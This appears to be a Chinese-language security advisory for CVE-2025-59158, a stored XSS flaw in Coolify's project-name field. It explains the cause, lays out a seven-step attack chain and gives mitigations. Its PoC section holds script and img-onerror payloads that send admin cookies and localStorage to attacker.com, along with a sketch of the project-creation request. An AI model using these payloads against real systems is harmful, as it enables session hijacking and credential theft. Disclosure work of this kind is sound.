IPBUF安全漏洞报告
English
CVE-2025-59158 CVSS 8.0 高危

CVE-2025-59158: Coolify项目创建功能存储型XSS漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-59158
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Coolify

相关标签

存储型XSS跨站脚本攻击CoolifyCVE-2025-59158高危漏洞权限绕过自托管工具服务器管理JavaScript注入

漏洞概述

CVE-2025-59158是Coolify v4.0.0-beta.420.6及之前版本中存在的一个高危存储型跨站脚本(XSS)漏洞。Coolify是一个开源的自托管工具,用于管理服务器、应用程序和数据库。该漏洞位于项目创建工作流程中,攻击者可以通过在项目名称中嵌入恶意JavaScript代码来实施攻击。由于漏洞属于存储型XSS,恶意payload会被永久存储在系统中。当具有更高权限的管理员用户尝试删除该项目或相关资源时,存储的恶意脚本会在管理员的浏览器上下文中自动执行,可能导致敏感信息窃取、会话劫持或其他恶意操作。由于攻击利用需要低权限用户身份(member角色),且payload触发需要管理员交互,该漏洞的CVSS评分达到8.0(高危)。

技术细节

该存储型XSS漏洞存在于Coolify的项目创建模块中。攻击流程如下:1) 低权限用户(如member角色)通过项目创建接口提交包含恶意JavaScript代码的项目名称(如<script>alert(document.cookie)</script>);2) 由于输入验证不足,恶意代码被直接存储到数据库中而未经过适当的HTML转义处理;3) 当管理员访问项目管理界面并尝试删除该项目或其关联资源时,系统从数据库读取并展示项目名称;4) 由于输出时未对项目名称进行HTML实体编码,浏览器将解析并执行其中的恶意JavaScript代码;5) 攻击者可通过JavaScript获取管理员的Cookie、会话令牌等敏感信息,甚至可能利用管理员权限执行进一步的攻击操作。漏洞的根本原因在于后端缺乏输入过滤和输出编码机制,CVSS向量显示攻击复杂度低(AC:L)但需要用户交互(UI:R),且对机密性(C:H)、完整性(I:H)和可用性(A:H)均造成高影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者注册Coolify账户并获取低权限账户(如member角色)
STEP 2
步骤2: 漏洞利用-注入恶意代码
攻击者使用低权限账户登录系统,通过项目创建API或界面提交包含恶意JavaScript代码的项目名称(如<script>alert(document.cookie)</script>)
STEP 3
步骤3: 持久化存储
由于后端缺乏输入验证,恶意payload被直接存储到数据库中,形成存储型XSS
STEP 4
步骤4: 社会工程-诱导管理员
攻击者通过某种方式(如提交工单或通知)诱导管理员访问并尝试删除该恶意项目
STEP 5
步骤5: 漏洞触发-代码执行
管理员在管理界面点击删除项目时,系统从数据库读取项目名称并在页面中渲染,由于未进行HTML实体编码,恶意JavaScript在管理员浏览器中执行
STEP 6
步骤6: 敏感信息窃取
恶意脚本执行后,攻击者可通过JavaScript获取管理员的Cookie、会话令牌、存储的凭证等敏感信息,并外传到攻击者控制的服务器
STEP 7
步骤7: 权限提升与横向移动
攻击者利用窃取的会话信息冒充管理员身份,执行更高权限操作或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-59158 PoC - Coolify Stored XSS via Project Name // Steps to exploit: // 1. Login as a low-privilege user (member role) // 2. Create a new project with malicious name // 3. Wait for admin to delete the project // 4. XSS payload executes in admin's browser // Malicious project name payload const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Alternative payload for session hijacking const sessionHijackPayload = ` <img src=x onerror=" fetch('https://attacker.com/log?data='+btoa(JSON.stringify({ cookies: document.cookie, url: location.href, localStorage: localStorage }))) "/> `; // PoC request to create malicious project (example) const createProjectRequest = { method: 'POST', path: '/api/v1/projects', body: { name: xssPayload, description: 'Test Project', team_id: 'member-team-id' } }; // The XSS triggers when admin visits project deletion page: // GET /api/v1/projects/{project_id}/delete or similar endpoint // The response renders project.name without sanitization, executing the script.

影响范围

Coolify v4.0.0-beta.420.6及之前所有版本

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用低权限用户(member角色)的项目创建功能;2) 对所有项目名称字段实施严格的输入长度和字符类型限制(仅允许字母数字和特定符号);3) 在管理界面添加XSS检测脚本;4) 提醒管理员在处理用户提交内容时使用浏览器的XSS过滤器;5) 定期审计和清理可疑的项目名称。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表